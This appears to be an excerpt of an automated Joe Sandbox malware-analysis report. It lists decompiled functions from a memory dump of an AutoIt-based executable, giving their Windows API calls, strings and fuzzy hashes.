Function 0018B40F Relevance: 10.7, APIs: 7, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a62d928cfdc3e112fc99c382a71be761ab1a9884068d58860885a44eabb2472
Instruction ID: a040d82f81b247ad98043594722319f766a5427a5b3728634c2f1fc73901c515
Opcode Fuzzy Hash: 3a62d928cfdc3e112fc99c382a71be761ab1a9884068d58860885a44eabb2472
Instruction Fuzzy Hash: E5715A71904509EFCB04DF98CC89ABEBF79FF85314F248159F916AA251C734AA42CFA0

Function 001D2121 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D214B
_memset.LIBCMT ref: 001D2214
ShellExecuteExW.SHELL32(?), ref: 001D2259

Part of subcall function 001784A6: __swprintf.LIBCMT ref: 001784E5
Part of subcall function 001784A6: __itow.LIBCMT ref: 00178519

Part of subcall function 00173BCF: _wcscpy.LIBCMT ref: 00173BF2

CloseHandle.KERNEL32(00000000), ref: 001D2320
FreeLibrary.KERNEL32(00000000), ref: 001D232F

Strings

@, xrefs: 001D2225

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _memset$CloseExecuteFreeHandleLibraryShell__itow__swprintf_wcscpy
String ID: @
API String ID: 4082843840-2766056989
Opcode ID: c2e57d194817723238bc68bce2b5326ad0332b6a4277b1ebdb713d86e1097e85
Instruction ID: 09ea355a8b2ee3b466fa1ae739014cb692a4a6e808b5a318b037b9ff6d81a767
Opcode Fuzzy Hash: c2e57d194817723238bc68bce2b5326ad0332b6a4277b1ebdb713d86e1097e85
Instruction Fuzzy Hash: E1718F71A00619EFCF05EFA4D9959AEB7F5FF58310F10805AE85AAB351DB34AE40CB90

Function 001B47DE Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 001B481D
GetKeyboardState.USER32(?), ref: 001B4832
SetKeyboardState.USER32(?), ref: 001B4893
PostMessageW.USER32(?,00000101,00000010,?), ref: 001B48C1
PostMessageW.USER32(?,00000101,00000011,?), ref: 001B48E0
PostMessageW.USER32(?,00000101,00000012,?), ref: 001B4926
PostMessageW.USER32(?,00000101,0000005B,?), ref: 001B4949

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 169d59be80f59e8223c5c9081844de65383fd689c78744557f10493a874824f5
Instruction ID: 39858014ba796a488ef57a5751f607314bde901d1e2135c1ab3998f75d21af93
Opcode Fuzzy Hash: 169d59be80f59e8223c5c9081844de65383fd689c78744557f10493a874824f5
Instruction Fuzzy Hash: F251A0A0A087D53EFB3646648C45BFBBFA95B0A308F08C589E1D5568C3C7D8EC88D751

Function 001B45F9 Relevance: 10.7, APIs: 7, Instructions: 164windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 001B4638
GetKeyboardState.USER32(?), ref: 001B464D
SetKeyboardState.USER32(?), ref: 001B46AE
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 001B46DA
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 001B46F7
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 001B473B
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 001B475C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 52c3f57e71f7cca84ce000b594bad1841f017f05dadae7ebca1a74594b30b99b
Instruction ID: dbbb1e1276a60a8b71268dd9b3487514531c52640e9e62c3e479eb8bd82c490f
Opcode Fuzzy Hash: 52c3f57e71f7cca84ce000b594bad1841f017f05dadae7ebca1a74594b30b99b
Instruction Fuzzy Hash: 7151B1A05047D63FFB3687248C55BFABFA96B06304F08C489E1D58A8C3D794EC98D761

Function 001B86AE Relevance: 10.6, APIs: 7, Instructions: 137timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 001B86BB
_wcsncpy.LIBCMT ref: 001B86F0
_wcsncpy.LIBCMT ref: 001B8722
_wcsncpy.LIBCMT ref: 001B8755
_wcsncpy.LIBCMT ref: 001B8797
_wcsncpy.LIBCMT ref: 001B87D1
_wcsncpy.LIBCMT ref: 001B8800

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 092ca5479c9032b19deae160cb6b3d887da84f1942182c390957e5f8e5300447
Instruction ID: 63b009881696a333c679ffce5f191abff56afc2c8f0051319eecfc711cf065ec
Opcode Fuzzy Hash: 092ca5479c9032b19deae160cb6b3d887da84f1942182c390957e5f8e5300447
Instruction Fuzzy Hash: 54411C65C1021476CF11EBB4C886ADEB7BCAF15710F608866E958F3222EB30E655C7E5

Function 001D9D97 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001D9DB0
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 001D9E57
IsMenu.USER32(?), ref: 001D9E6F
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 001D9EB7
DrawMenuBar.USER32 ref: 001D9ED0

Strings

0, xrefs: 001D9DA9

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 786656079bd30beb76fe0a67a1f197b5519c1446718ae596e801a946c793f845
Instruction ID: 817dc048ece033e20ec0aa2da06c849b46861baa8986f3b25c6d8cffb300c694
Opcode Fuzzy Hash: 786656079bd30beb76fe0a67a1f197b5519c1446718ae596e801a946c793f845
Instruction Fuzzy Hash: D8411775A00209EFDB20DF59E884EAABBF5FF09354F04812AE9559B350D730ED54CB60

Function 001D3C63 Relevance: 10.6, APIs: 7, Instructions: 100registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?,?,?), ref: 001D3C92
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 001D3CBC
FreeLibrary.KERNEL32(00000000), ref: 001D3D71

Part of subcall function 001D3C63: RegCloseKey.ADVAPI32(?), ref: 001D3CD9
Part of subcall function 001D3C63: FreeLibrary.KERNEL32(?), ref: 001D3D2B
Part of subcall function 001D3C63: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 001D3D4E

RegDeleteKeyW.ADVAPI32(?,?), ref: 001D3D16

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: d1617c5e04354902365a3892f8b864bbf6d8ece022672abdd02eed1eb313c270
Instruction ID: fc7fed30d8c4b7623e4a49858f5d784c7f21e7e9f608efedbde5b627e29762bb
Opcode Fuzzy Hash: d1617c5e04354902365a3892f8b864bbf6d8ece022672abdd02eed1eb313c270
Instruction Fuzzy Hash: 463109B1911209BFDB159BD4DC89AFEB7BDEF08300F50056AE522E2250DB709F89DB61

Function 001D8DD5 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 001D8DF4
GetWindowLongW.USER32(013EA668,000000F0), ref: 001D8E27
GetWindowLongW.USER32(013EA668,000000F0), ref: 001D8E5C
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 001D8E8E
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 001D8EB8
GetWindowLongW.USER32(?,000000F0), ref: 001D8EC9
SetWindowLongW.USER32(?,000000F0,00000000), ref: 001D8EE3

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 7acc29934fb4fd7b5753be9d3a552d0593106def4f2973be672d00cede619ff7
Instruction ID: 469637d3a0eb5d7f0498b1d0cc9f7f8e4c07b2c6aac15b4fa9b3cdc84f74b09d
Opcode Fuzzy Hash: 7acc29934fb4fd7b5753be9d3a552d0593106def4f2973be672d00cede619ff7
Instruction Fuzzy Hash: 95310231600211EFEB21DF59EC89F6537A6FB4A724F1941A6F505CB2B2CB71A890DF41

Function 001B16F1 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001B1734
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001B175A
SysAllocString.OLEAUT32(00000000), ref: 001B175D
SysAllocString.OLEAUT32(?), ref: 001B177B
SysFreeString.OLEAUT32(?), ref: 001B1784
StringFromGUID2.COMBASE(?,?,00000028), ref: 001B17A9
SysAllocString.OLEAUT32(?), ref: 001B17B7

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 967dfb7bc22f7dc57c393ea22994604df0e2b0884f89cf738b26df40c5187317
Instruction ID: 4c32f1a32e6e822243bc21b960f36f1092bb8ed019ed6ec8109a105f64cb4d7f
Opcode Fuzzy Hash: 967dfb7bc22f7dc57c393ea22994604df0e2b0884f89cf738b26df40c5187317
Instruction Fuzzy Hash: 9F216275600219BF9B109BA9DC98CFF73EDFB093607418525F915DB290DB70EC8187A0

Function 001B69F9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 93filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 001731B8: GetFullPathNameW.KERNEL32(00000000,00000104,?,?), ref: 001731DA

lstrcmpiW.KERNEL32(?,?), ref: 001B6A2B
_wcscmp.LIBCMT ref: 001B6A49
MoveFileW.KERNEL32(?,?), ref: 001B6A62

Part of subcall function 001B6D6D: GetFileAttributesW.KERNEL32(?,?,00000000), ref: 001B6DBA
Part of subcall function 001B6D6D: GetLastError.KERNEL32 ref: 001B6DC5
Part of subcall function 001B6D6D: CreateDirectoryW.KERNEL32(?,00000000), ref: 001B6DD9

_wcscat.LIBCMT ref: 001B6AA4
SHFileOperationW.SHELL32(?), ref: 001B6B0C

Strings

\*.*, xrefs: 001B6A9E

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: File$AttributesCreateDirectoryErrorFullLastMoveNameOperationPath_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 2323102230-1173974218
Opcode ID: 6f30e612775e98dc9218d5ed6f79d96b2dccad427fbe8a72ebfb6b42ed5cc908
Instruction ID: 4e81488ed7a2e12b367e16b6a8ead4cdf6696479b9398b1988b573b16f5bf464
Opcode Fuzzy Hash: 6f30e612775e98dc9218d5ed6f79d96b2dccad427fbe8a72ebfb6b42ed5cc908
Instruction Fuzzy Hash: 3D3124B1900219AACF51EFB4E845BDDB7B8AF58300F5045EAF509E3541EB349B89CFA4

Function 001B2FCD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 001B2FE0
__wcsnicmp.LIBCMT ref: 001B3001
__wcsnicmp.LIBCMT ref: 001B301B

Strings

#OnAutoItStartRegister, xrefs: 001B3015
#notrayicon, xrefs: 001B2FD8
#requireadmin, xrefs: 001B2FFB

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 5e21a591070e7136ee7dc4de82a84fcf60ecca69acfa4fa1370848067bf5115e
Instruction ID: 799f0dccdd7f787bb7a8524f9de206df5d628ea1f62f0da6dde7ac017173fb90
Opcode Fuzzy Hash: 5e21a591070e7136ee7dc4de82a84fcf60ecca69acfa4fa1370848067bf5115e
Instruction Fuzzy Hash: 21213832205611BAD735BA74DC02EFB73EC9F65310F10412AF895871C2EBA19A92D391

Function 001B17C8 Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001B180D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 001B1833
SysAllocString.OLEAUT32(00000000), ref: 001B1836
SysAllocString.OLEAUT32 ref: 001B1857
SysFreeString.OLEAUT32 ref: 001B1860
StringFromGUID2.COMBASE(?,?,00000028), ref: 001B187A
SysAllocString.OLEAUT32(?), ref: 001B1888

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 4e5227fc0441be32f596876f108065f34d17cfdf1803db1075c500ff05920508
Instruction ID: b0d8c1f0d76d85d7ed459faf6bbd886cb645c5f772119e2f2d752558ffb7fc13
Opcode Fuzzy Hash: 4e5227fc0441be32f596876f108065f34d17cfdf1803db1075c500ff05920508
Instruction Fuzzy Hash: B4213076604204BF9B109BA8DC89DBE77EDFB093A07918125F915DB6A0DB70EC81CB64

Function 001DA0D6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0018C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0018C657
Part of subcall function 0018C619: GetStockObject.GDI32(00000011), ref: 0018C66B
Part of subcall function 0018C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0018C675

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 001DA13B
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 001DA148
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 001DA153
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 001DA162
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 001DA16E

Strings

Msctls_Progress32, xrefs: 001DA10C

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 54b565667baa577ef50948e93324cf847986e375b4c8eb014f37cb15db3ee398
Instruction ID: 932675f07e391897f1899dacd9784c358f44d5442ab3a59b6867cf40fcb5ca2f
Opcode Fuzzy Hash: 54b565667baa577ef50948e93324cf847986e375b4c8eb014f37cb15db3ee398
Instruction Fuzzy Hash: BD11C4B215021DBEEF119F60DC86EEB7F5DEF08798F014215FA08A6190C7769C21DBA0

Function 00194C3D Relevance: 10.5, APIs: 7, Instructions: 47threadCOMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 00194C3E

Part of subcall function 001986B5: GetLastError.KERNEL32(?,00190127,001988A3,00194673,?,?,00190127,?,0017125D,00000058,?,?), ref: 001986B7
Part of subcall function 001986B5: __calloc_crt.LIBCMT ref: 001986D8
Part of subcall function 001986B5: GetCurrentThreadId.KERNEL32 ref: 00198701
Part of subcall function 001986B5: SetLastError.KERNEL32(00000000,00190127,001988A3,00194673,?,?,00190127,?,0017125D,00000058,?,?), ref: 00198719

CloseHandle.KERNEL32(?,?,00194C1D), ref: 00194C52
__freeptd.LIBCMT ref: 00194C59
RtlExitUserThread.NTDLL(00000000,?,00194C1D), ref: 00194C61
GetLastError.KERNEL32(?,?,00194C1D), ref: 00194C91
RtlExitUserThread.NTDLL(00000000,?,?,00194C1D), ref: 00194C98
__freefls@4.LIBCMT ref: 00194CB4

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411369787.00000000002E3000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_170000_UNK_.jbxd

Similarity

API ID: ErrorLastThread$ExitUser$CloseCurrentHandle__calloc_crt__freefls@4__freeptd__getptd_noexit
String ID:
API String ID: 1445074172-0
Opcode ID: 5bc90397e43aa2dacbf9e6e11ee352ab675891efe261ed771759bd94d0caf96e
Instruction ID: 308a4bd464ee4a4c20d58e114adb3f864f9a81979845c1360b8db941df409eed
Opcode Fuzzy Hash: 5bc90397e43aa2dacbf9e6e11ee352ab675891efe261ed771759bd94d0caf96e
Instruction Fuzzy Hash: 9501F274401701AFDF18BB74E909D2D7BA6FF263147148519F9098B652EF35D883CA91

Function 001DE13E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 001DE14D
_memset.LIBCMT ref: 001DE15C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00233EE0,00233F24), ref: 001DE18B
CloseHandle.KERNEL32 ref: 001DE19D

Strings

$?#, xrefs: 001DE156
>#, xrefs: 001DE147

Memory Dump Source

Source File: 00000002.00000002.3410569798.0000000000171000.00000040.00000001.01000000.00000005.sdmp, Offset: 00170000, based on PE: true

Associated: 00000002.00000002.3410439682.0000000000170000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000021E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.000000000022A000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.0000000000253000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3410569798.00000000002DC000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.3411283577.00000000002E2000.00000080.00000001.01000000.00000005.sdmpDownload File
